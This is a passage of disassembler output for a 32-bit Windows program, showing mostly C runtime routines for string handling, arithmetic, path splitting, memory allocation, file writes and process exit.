jz short loc_415210
mov esi, [ebp+arg_8]
loc_4151E9: ; CODE XREF: sub_4151CC+42j
dec dword ptr [esi+4]
js short loc_4151F8
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_4151FF
; ---------------------------------------------------------------------------
loc_4151F8: ; CODE XREF: sub_4151CC+20j
push esi
call sub_419940
pop ecx
loc_4151FF: ; CODE XREF: sub_4151CC+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41521A
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_415210
dec [ebp+arg_4]
jnz short loc_4151E9
loc_415210: ; CODE XREF: sub_4151CC+18j
; sub_4151CC+3Dj ...
and byte ptr [edi], 0
loc_415213: ; CODE XREF: sub_4151CC+55j
mov eax, ebx
pop esi
loc_415216: ; CODE XREF: sub_4151CC+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41521A: ; CODE XREF: sub_4151CC+36j
cmp edi, [ebp+arg_0]
jnz short loc_415210
xor ebx, ebx
jmp short loc_415213
sub_4151CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415223 proc near ; CODE XREF: sub_407FCC+6p
; sub_407FEA+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_45E898, 0
push ebx
push esi
push edi
jnz short loc_415250
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_4152E9
cmp eax, 5Ah
jg loc_4152E9
add eax, 20h
jmp loc_4152E9
; ---------------------------------------------------------------------------
loc_415250: ; CODE XREF: sub_415223+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_415284
cmp ds:dword_42D2FC, esi
jle short loc_415272
push esi
push ebx
call sub_4165E6
pop ecx
pop ecx
jmp short loc_41527C
; ---------------------------------------------------------------------------
loc_415272: ; CODE XREF: sub_415223+42j
mov eax, ds:off_42D0F0
mov al, [eax+ebx*2]
and eax, esi
loc_41527C: ; CODE XREF: sub_415223+4Dj
test eax, eax
jnz short loc_415284
loc_415280: ; CODE XREF: sub_415223+ADj
mov eax, ebx
jmp short loc_4152E9
; ---------------------------------------------------------------------------
loc_415284: ; CODE XREF: sub_415223+3Aj
; sub_415223+5Bj
mov edx, ds:off_42D0F0
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_4152A8
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_4152B1
; ---------------------------------------------------------------------------
loc_4152A8: ; CODE XREF: sub_415223+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_4152B1: ; CODE XREF: sub_415223+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push ds:dword_45E898
call loc_419E01
add esp, 20h
test eax, eax
jz short loc_415280
cmp eax, esi
jnz short loc_4152DC
movzx eax, [ebp+var_4]
jmp short loc_4152E9
; ---------------------------------------------------------------------------
loc_4152DC: ; CODE XREF: sub_415223+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4152E9: ; CODE XREF: sub_415223+16j
; sub_415223+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_415223 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4152F0 proc near ; CODE XREF: sub_408EC3+3Dp
; sub_40A6A6+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_415311
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_415361
; ---------------------------------------------------------------------------
loc_415311: ; CODE XREF: sub_4152F0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41531F: ; CODE XREF: sub_4152F0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41531F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41534A
cmp edx, [esp+4+arg_4]
ja short loc_41534A
jb short loc_415352
cmp eax, [esp+4+arg_0]
jbe short loc_415352
loc_41534A: ; CODE XREF: sub_4152F0+4Aj
; sub_4152F0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_415352: ; CODE XREF: sub_4152F0+52j
; sub_4152F0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_415361: ; CODE XREF: sub_4152F0+1Fj
pop ebx
retn 10h
sub_4152F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415370 proc near ; CODE XREF: sub_408EC3+24p
; sub_40A6A6+3Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_415392
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_4153D3
; ---------------------------------------------------------------------------
loc_415392: ; CODE XREF: sub_415370+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_4153A0: ; CODE XREF: sub_415370+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4153A0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_4153CE
cmp edx, [esp+8+arg_4]
ja short loc_4153CE
jb short loc_4153CF
cmp eax, [esp+8+arg_0]
jbe short loc_4153CF
loc_4153CE: ; CODE XREF: sub_415370+4Ej
; sub_415370+54j
dec esi
loc_4153CF: ; CODE XREF: sub_415370+56j
; sub_415370+5Cj
xor edx, edx
mov eax, esi
loc_4153D3: ; CODE XREF: sub_415370+20j
pop esi
pop ebx
retn 10h
sub_415370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153D8 proc near ; CODE XREF: sub_408F79+1E3p
; seg000:0040AC17p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_413DB0
cmp eax, 1
pop ecx
jb short loc_415413
cmp byte ptr [ebx+1], 3Ah
jnz short loc_415413
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41540F
push 2
push ebx
push esi
call sub_41A430
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41540F: ; CODE XREF: sub_4153D8+25j
inc ebx
inc ebx
jmp short loc_41541D
; ---------------------------------------------------------------------------
loc_415413: ; CODE XREF: sub_4153D8+18j
; sub_4153D8+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41541D
and byte ptr [eax], 0
loc_41541D: ; CODE XREF: sub_4153D8+39j
; sub_4153D8+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_415495
loc_415430: ; CODE XREF: sub_4153D8+87j
mov cl, [eax]
movzx edx, cl
test ds:byte_45FD41[edx], 4
jz short loc_415441
inc eax
jmp short loc_41545B
; ---------------------------------------------------------------------------
loc_415441: ; CODE XREF: sub_4153D8+64j
cmp cl, 2Fh
jz short loc_415455
cmp cl, 5Ch
jz short loc_415455
cmp cl, 2Eh
jnz short loc_41545B
mov [ebp+var_4], eax
jmp short loc_41545B
; ---------------------------------------------------------------------------
loc_415455: ; CODE XREF: sub_4153D8+6Cj
; sub_4153D8+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41545B: ; CODE XREF: sub_4153D8+67j
; sub_4153D8+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_415430
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_415495
cmp [ebp+arg_8], 0
jz short loc_415490
sub edi, ebx
cmp edi, esi
jb short loc_415479
mov edi, esi
loc_415479: ; CODE XREF: sub_4153D8+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_41A430
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_415490: ; CODE XREF: sub_4153D8+97j
mov ebx, [ebp+arg_4]
jmp short loc_41549F
; ---------------------------------------------------------------------------
loc_415495: ; CODE XREF: sub_4153D8+56j
; sub_4153D8+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41549F
and byte ptr [ecx], 0
loc_41549F: ; CODE XREF: sub_4153D8+BBj
; sub_4153D8+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_4154F2
cmp edi, ebx
jb short loc_4154F2
cmp [ebp+arg_C], 0
jz short loc_4154CF
sub edi, ebx
cmp edi, esi
jb short loc_4154B8
mov edi, esi
loc_4154B8: ; CODE XREF: sub_4153D8+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_41A430
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_4154CF: ; CODE XREF: sub_4153D8+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41551A
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_4154DF
mov esi, eax
loc_4154DF: ; CODE XREF: sub_4153D8+103j
push esi
push [ebp+var_4]
push edi
call sub_41A430
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41551A
; ---------------------------------------------------------------------------
loc_4154F2: ; CODE XREF: sub_4153D8+CCj
; sub_4153D8+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_415510
sub eax, ebx
cmp eax, esi
jnb short loc_415501
mov esi, eax
loc_415501: ; CODE XREF: sub_4153D8+125j
push esi
push ebx
push edi
call sub_41A430
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_415510: ; CODE XREF: sub_4153D8+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41551A
and byte ptr [eax], 0
loc_41551A: ; CODE XREF: sub_4153D8+FCj
; sub_4153D8+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4153D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41551F proc near ; CODE XREF: sub_409689+19p
; sub_41106A+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_415DDC
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41555D
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41556A
; ---------------------------------------------------------------------------
loc_41555D: ; CODE XREF: sub_41551F+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_415CC7
pop ecx
pop ecx
loc_41556A: ; CODE XREF: sub_41551F+3Cj
mov eax, esi
pop esi
leave
retn
sub_41551F endp
; =============== S U B R O U T I N E =======================================
sub_41556F proc near ; CODE XREF: sub_4098E7+2Ep
; sub_414863+35p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push ebp
push esi
test ebx, ebx
push edi
jnz short loc_41558A
push [esp+10h+arg_4]
call sub_413E5F
pop ecx
jmp loc_41568A
; ---------------------------------------------------------------------------
loc_41558A: ; CODE XREF: sub_41556F+Aj
mov esi, [esp+10h+arg_4]
test esi, esi
jnz short loc_4155A0
push ebx
call sub_413ED3
pop ecx
loc_415599: ; CODE XREF: sub_41556F+114j
xor eax, eax
jmp loc_41568A
; ---------------------------------------------------------------------------
loc_4155A0: ; CODE XREF: sub_41556F+21j
; sub_41556F+10Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41566B
push ebx
call sub_416B8D
mov ebp, eax
pop ecx
test ebp, ebp
jz loc_415648
cmp esi, ds:dword_42D30C
ja short loc_415608
push esi
push ebx
push ebp
call sub_417398
add esp, 0Ch
test eax, eax
jz short loc_4155D7
mov edi, ebx
jmp short loc_415600
; ---------------------------------------------------------------------------
loc_4155D7: ; CODE XREF: sub_41556F+62j
push esi
call sub_416EE3
mov edi, eax
pop ecx
test edi, edi
jz short loc_415608
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_4155EE
mov eax, esi
loc_4155EE: ; CODE XREF: sub_41556F+7Bj
push eax
push ebx
push edi
call sub_413690
push ebx
push ebp
call sub_416BB8
add esp, 14h
loc_415600: ; CODE XREF: sub_41556F+66j
test edi, edi
jnz loc_415688
loc_415608: ; CODE XREF: sub_41556F+53j
; sub_41556F+73j
test esi, esi
jnz short loc_41560F
push 1
pop esi
loc_41560F: ; CODE XREF: sub_41556F+9Bj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push ds:dword_45FE60
call ds:dword_41F140 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41566B
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_415634
mov eax, esi
loc_415634: ; CODE XREF: sub_41556F+C1j
push eax
push ebx
push edi
call sub_413690
push ebx
push ebp
call sub_416BB8
add esp, 14h
jmp short loc_415667
; ---------------------------------------------------------------------------
loc_415648: ; CODE XREF: sub_41556F+47j
test esi, esi
jnz short loc_41564F
push 1
pop esi
loc_41564F: ; CODE XREF: sub_41556F+DBj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push ebx
push 0
push ds:dword_45FE60
call ds:dword_41F154 ; RtlReAllocateHeap
mov edi, eax
loc_415667: ; CODE XREF: sub_41556F+D7j
test edi, edi
jnz short loc_415688
loc_41566B: ; CODE XREF: sub_41556F+36j
; sub_41556F+B9j
cmp ds:dword_45E864, 0
jz short loc_415688
push esi
call sub_416AF8
test eax, eax
pop ecx
jnz loc_4155A0
jmp loc_415599
; ---------------------------------------------------------------------------
loc_415688: ; CODE XREF: sub_41556F+93j
; sub_41556F+FAj ...
mov eax, edi
loc_41568A: ; CODE XREF: sub_41556F+16j
; sub_41556F+2Cj
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41556F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41568F proc near ; CODE XREF: sub_409F42+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_4156B3
xor eax, eax
jmp loc_415780
; ---------------------------------------------------------------------------
loc_4156B3: ; CODE XREF: sub_41568F+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_4156C6
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_4156CD
; ---------------------------------------------------------------------------
loc_4156C6: ; CODE XREF: sub_41568F+2Dj
mov [ebp+arg_C], 1000h
loc_4156CD: ; CODE XREF: sub_41568F+35j
; sub_41568F+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_415701
mov eax, [esi+4]
test eax, eax
jz short loc_415701
cmp ebx, eax
mov edi, ebx
jb short loc_4156E7
mov edi, eax
loc_4156E7: ; CODE XREF: sub_41568F+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_413690
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_415747
; ---------------------------------------------------------------------------
loc_415701: ; CODE XREF: sub_41568F+47j
; sub_41568F+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41574C
test ecx, ecx
jz short loc_415715
push esi
call sub_416774
test eax, eax
pop ecx
jnz short loc_41578E
loc_415715: ; CODE XREF: sub_41568F+79j
cmp [ebp+arg_C], 0
jz short loc_415728
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41572A
; ---------------------------------------------------------------------------
loc_415728: ; CODE XREF: sub_41568F+8Aj
mov edi, ebx
loc_41572A: ; CODE XREF: sub_41568F+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_41A4BA
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_415785
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_415785
loc_415747: ; CODE XREF: sub_41568F+70j
mov edi, [ebp+var_4]
jmp short loc_415775
; ---------------------------------------------------------------------------
loc_41574C: ; CODE XREF: sub_41568F+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_415CC7
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41578E
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_415775
mov [ebp+arg_C], 1
loc_415775: ; CODE XREF: sub_41568F+BBj
; sub_41568F+DDj
test ebx, ebx
jnz loc_4156CD
mov eax, [ebp+arg_8]
loc_415780: ; CODE XREF: sub_41568F+1Fj
; sub_41568F+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415785: ; CODE XREF: sub_41568F+ADj
; sub_41568F+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_415790
; ---------------------------------------------------------------------------
loc_41578E: ; CODE XREF: sub_41568F+84j
; sub_41568F+CFj
mov eax, edi
loc_415790: ; CODE XREF: sub_41568F+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_415780
sub_41568F endp
; =============== S U B R O U T I N E =======================================
sub_415799 proc near ; CODE XREF: sub_40A68C+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call ds:dword_41F07C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_4157B9
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
call sub_41A667
pop ecx
loc_4157B5: ; CODE XREF: sub_415799+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4157B9: ; CODE XREF: sub_415799+Dj
test al, 1
jz short loc_4157DA
test [esp+arg_4], 2
jz short loc_4157DA
mov ds:dword_45E804, 0Dh
mov ds:dword_45E808, 5
jmp short loc_4157B5
; ---------------------------------------------------------------------------
loc_4157DA: ; CODE XREF: sub_415799+22j
; sub_415799+29j
xor eax, eax
retn
sub_415799 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4157E0 proc near ; CODE XREF: sub_40A7B6+5Fp
; sub_40A7B6+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_415801
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_415801: ; CODE XREF: sub_4157E0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41581D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41581D: ; CODE XREF: sub_4157E0+27j
or eax, eax
jnz short loc_415839
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41587A
; ---------------------------------------------------------------------------
loc_415839: ; CODE XREF: sub_4157E0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_415847: ; CODE XREF: sub_4157E0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_415847
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_415875
cmp edx, [esp+0Ch+arg_4]
ja short loc_415875
jb short loc_415876
cmp eax, [esp+0Ch+arg_0]
jbe short loc_415876
loc_415875: ; CODE XREF: sub_4157E0+85j
; sub_4157E0+8Bj
dec esi
loc_415876: ; CODE XREF: sub_4157E0+8Dj
; sub_4157E0+93j
xor edx, edx
mov eax, esi
loc_41587A: ; CODE XREF: sub_4157E0+57j
dec edi
jnz short loc_415884
neg edx
neg eax
sbb edx, 0
loc_415884: ; CODE XREF: sub_4157E0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_4157E0 endp
; =============== S U B R O U T I N E =======================================
sub_41588A proc near ; CODE XREF: seg000:00415C1Bp
mov eax, ds:off_42D0BC
test eax, eax
jz short loc_415895
call eax ; sub_413FD1
loc_415895: ; CODE XREF: sub_41588A+7j
push offset dword_421024
push offset dword_421010
call sub_415972
push offset dword_42100C
push offset dword_421000
call sub_415972
add esp, 10h
retn
sub_41588A endp
; =============== S U B R O U T I N E =======================================
sub_4158B7 proc near ; CODE XREF: seg000:00415C5Ap
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_4158D9
add esp, 0Ch
retn
sub_4158B7 endp
; =============== S U B R O U T I N E =======================================
sub_4158C8 proc near ; CODE XREF: seg000:00415C79p
; sub_415C7E+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_4158D9
add esp, 0Ch
retn
sub_4158C8 endp
; =============== S U B R O U T I N E =======================================
sub_4158D9 proc near ; CODE XREF: sub_4158B7+8p
; sub_4158C8+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
push 1
pop edi
cmp ds:dword_45E84C, edi
jnz short near ptr loc_4158F1+5
push [esp+4+arg_0]
call near ptr 0A70000h
bound edx, [eax-18h]
loc_4158F1: ; CODE XREF: sub_4158D9+Aj
or esp, [edi-7CB5FF9Bh]
jl short loc_41591D
or al, 0
push ebx
mov ebx, [esp+0Ch+arg_4]
mov ds:dword_45E848, edi
mov ds:byte_45E844, bl
jnz short loc_41594A
mov eax, ds:dword_45FE74
test eax, eax
jz short loc_415939
mov ecx, ds:dword_45FE70
loc_41591D: ; CODE XREF: sub_4158D9+1Ej
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_415938
loc_415925: ; CODE XREF: sub_4158D9+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41592D
call eax
loc_41592D: ; CODE XREF: sub_4158D9+50j
sub esi, 4
cmp esi, ds:dword_45FE74
jnb short loc_415925
loc_415938: ; CODE XREF: sub_4158D9+4Aj
pop esi
loc_415939: ; CODE XREF: sub_4158D9+3Cj
push offset dword_421030
push offset dword_421028
call sub_415972
pop ecx
pop ecx
loc_41594A: ; CODE XREF: sub_4158D9+33j
push offset dword_42103C
push offset dword_421034
call sub_415972
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_415970
push dword ptr [esp+8]
mov ds:dword_45E84C, edi
call ds:dword_41F104 ; ExitProcess
loc_415970: ; CODE XREF: sub_4158D9+85j
pop edi
retn
sub_4158D9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_415972 proc near ; CODE XREF: sub_41588A+15p
; sub_41588A+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_415977: ; CODE XREF: sub_415972+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41598A
mov eax, [esi]
test eax, eax
jz short loc_415985
call eax
loc_415985: ; CODE XREF: sub_415972+Fj
add esi, 4
jmp short loc_415977
; ---------------------------------------------------------------------------
loc_41598A: ; CODE XREF: sub_415972+9j
pop esi
retn
sub_415972 endp
; =============== S U B R O U T I N E =======================================
sub_41598C proc near ; CODE XREF: seg000:0040DE05p
arg_0 = dword ptr 4
push [esp+arg_0]
call near ptr 0A70000h
les eax, [ebp-0F78A40h]
adc eax, offset dword_41F068
jmp short loc_4159A4
; ---------------------------------------------------------------------------
xor eax, eax
loc_4159A4: ; CODE XREF: sub_41598C+14j
test eax, eax
jz short loc_4159B3
push eax
call sub_41A667
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4159B3: ; CODE XREF: sub_41598C+1Aj
xor eax, eax
retn
sub_41598C endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+0Ch]
test eax, eax
jz short locret_415A0C
mov edx, [esp+4]
push esi
push edi
mov esi, edx
mov edi, [esp+10h]
or edx, edi
and edx, 3
jz short loc_415A0D
test eax, 1
jz short loc_4159ED
mov cl, [esi]
cmp cl, [edi]
jnz short loc_415A3A
inc esi
inc edi
dec eax
jz short loc_415A0A
loc_4159ED: ; CODE XREF: seg000:004159E0j
; seg000:00415A08j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_415A3A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_415A3A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_4159ED
loc_415A0A: ; CODE XREF: seg000:004159EBj
; seg000:00415A44j
pop edi
pop esi
locret_415A0C: ; CODE XREF: seg000:004159C6j
retn
; ---------------------------------------------------------------------------
loc_415A0D: ; CODE XREF: seg000:004159D9j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_415A42
repe cmpsd
jz short loc_415A42
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_415A35
cmp ch, dh
jnz short loc_415A35
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_415A35
cmp ch, dh
loc_415A35: ; CODE XREF: seg000:00415A23j
; seg000:00415A27j ...
mov eax, 0
loc_415A3A: ; CODE XREF: seg000:004159E6j
; seg000:004159F3j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_415A42: ; CODE XREF: seg000:00415A15j
; seg000:00415A19j
test eax, eax
jz short loc_415A0A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_415A35
dec eax
jz short loc_415A69
cmp dh, ch
jnz short loc_415A35
dec eax
jz short loc_415A69
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_415A35
dec eax
loc_415A69: ; CODE XREF: seg000:00415A4Fj
; seg000:00415A56j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_415A6C proc near ; CODE XREF: seg000:00412062p
; sub_412A1E+236p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_415A83
loc_415A79: ; CODE XREF: sub_415A6C+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_415A79
loc_415A83: ; CODE XREF: sub_415A6C+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_415A6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A89 proc near ; CODE XREF: seg000:00412026p
; seg000:00412056p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_415B56
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_415B83
cmp ds:dword_45E898, esi
jnz short loc_415ADA
cmp edi, esi
jbe loc_415B83
loc_415AB9: ; CODE XREF: sub_415A89+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_415B83
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_415AB9
jmp loc_415B83
; ---------------------------------------------------------------------------
loc_415ADA: ; CODE XREF: sub_415A89+26j
mov ebx, [ebp+arg_4]
mov esi, ds:dword_41F12C
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push ds:dword_45E8A8
call esi ; dword_41F12C
test eax, eax
jnz loc_415B82
call ds:dword_41F068 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_415B14
loc_415B05: ; CODE XREF: sub_415A89+CBj
; sub_415A89+F7j
mov ds:dword_45E804, 2Ah
